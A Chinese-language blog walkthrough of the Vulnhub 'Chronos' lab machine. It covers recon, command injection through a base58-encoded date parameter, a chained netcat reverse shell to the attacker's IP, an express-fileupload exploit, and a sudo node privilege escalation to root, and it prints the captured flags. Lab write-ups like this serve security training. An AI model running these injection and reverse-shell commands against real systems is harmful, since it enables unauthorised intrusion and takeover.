Vulnhub靶机随笔-Chronos

Vulnhub靶机Chronos详解:

渗透机:Kali IP:192.168.1.105 靶机Chronos IP:未知

  1. 信息收集
    1. 扫描靶机存活性
  2. 扫描靶机开放服务端口及其版本信息
    1. 很常见的两个服务,一个ssh一个http,不过8000端口有一个Node,js搭建的网站,等到后续我再介绍,这里留个心眼
  3. 同时进行ssh弱口令爆破,访问80以及8000获取信息
    1. ssh弱口令失败
    2. 可以看到这有一串js,而且通过0x5bdf得知,这是进行过编码的,所以我们复制这一串js脚本,进行破解,这里从大佬得到一个网站解码CyberChef,非常好用
    3. 在output中,有一串东西很有意思
    4. 从中不难得知,chronos就是靶机的名字,local是本地的意思,后面的8000端口我们也在第一步中扫描出,所以我们可以将需要往/etc/hosts文件中添加正向解析,操作如下:
    5. 你会看到这多出一段时间,像不像date命令得出的结果
    6. 再看一下刚刚解码得出的
    7. date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
  4. 命令执行漏洞
    1. 大胆猜测format后面这串进行过加密,且结果很有可能就是date的输出格式,解码走起,这里用到网站的magic解码,会自动识别哪种算法加密
    2. 走到这一步,我们不妨再大胆一点,date是系统命令,format后面是选项参数,那我们是不是可以利用burpsuit抓包进行命令执行漏洞?    
    3. 因为format后面是base58加密的,所以我们也需要进行编码才能执行漏洞
    4. 输入命令'+Today is %A, %B %d, %Y %H:%M:%S.' | ls -l
    5. 进行编码
    6. 抓包进行篡改
    7. 成功获取信息,既然可以进行命令注入,我们必须要尝试nc反弹shell
    8. 输入命令: '+Today is %A, %B %d, %Y %H:%M:%S.' | nc 攻击机IP 监听端口
    9. 进行编码:
    10. 这里显示错误,但是连接是OK的,这里就要用到一个独特方法:      nc串联
    11. 输入命令: '+Today is %A, %B %d, %Y %H:%M:%S.' | nc 192.168.1.105 4444 |/bin/bash | nc 192.168.1.105 5555
    12. 进行编码
    13. 开启监听
    1. 可以看到成功建立连接,并且有反馈,不过是在5555这个窗口中
  1. 提权
    1. 我们先看看有没有什么可用的信息,先进家目录
    2. 有一个user.txt,但是我们没有权限查看
    3. 在进行大量的信息搜集以后,我们还是回到最初的起点,去网站里翻阅一下
    4. 简单介绍一下Node.js
    5. Node.js项目遵循模块化的架构,当我们创建一个Node.js项目,意味着创建了一个模块,这个模块的描述文件,被称为package.json, 它包含了运行项目所需要的各种依赖、项目配置信息
    6. 所以我们去查看一下package.json
    7. Emmm,没什么用,就在一筹莫展之时,别忘了还有一个chronos-v2,而且还是root权限
    8. 继续查看package.json
    9. 终于找到一点有用的东西,有点文件上传的味了,而且这提示我们去看一下server.js文件,在大佬的文章中,我得知了express-fileupload漏洞利用脚本,并且利用前提parseNested是开启的,如下图片
    10. 攻击脚本如下:
    11. 在1的位置输入攻击机的IP地址,2的位置因为是本地上传所以用回环地址没什么问题,也可以解析到.
    12. 接着就是上传文件,可以将shell.py发布出去,也可以将脚本放进/var/www/html文件下,开启apache2服务,在靶机上获取并运行即可
  2. 运行脚本获取用户shell
    1. 先在攻击机上开启监听,端口为脚本里设置的,我这里5555冲突了,忘记了已经使用了,所以我在脚本中更改为9999
    2. 成功获取到用户imera的shell,终于可以看家目录底下的user.txt了
    3. 获取到第一个flag: byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
  3. 继续提权
    1. 我们还要提权到root用户
    2. 这里使用的是sudo -l进行提权
    3. 我们可以利用node,node就是类似于java语言的开发环境,我们平常写的是python反弹shell,今天写一个java的反弹shell
    4. 命令: sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
    5. 获取到第二个flag: YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
    6. 这里就不解码了,因为解出来我也看不懂,感兴趣的自己琢磨琢磨吧
  4. Finish,题目解完了,你们的点赞是我更新的动力

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值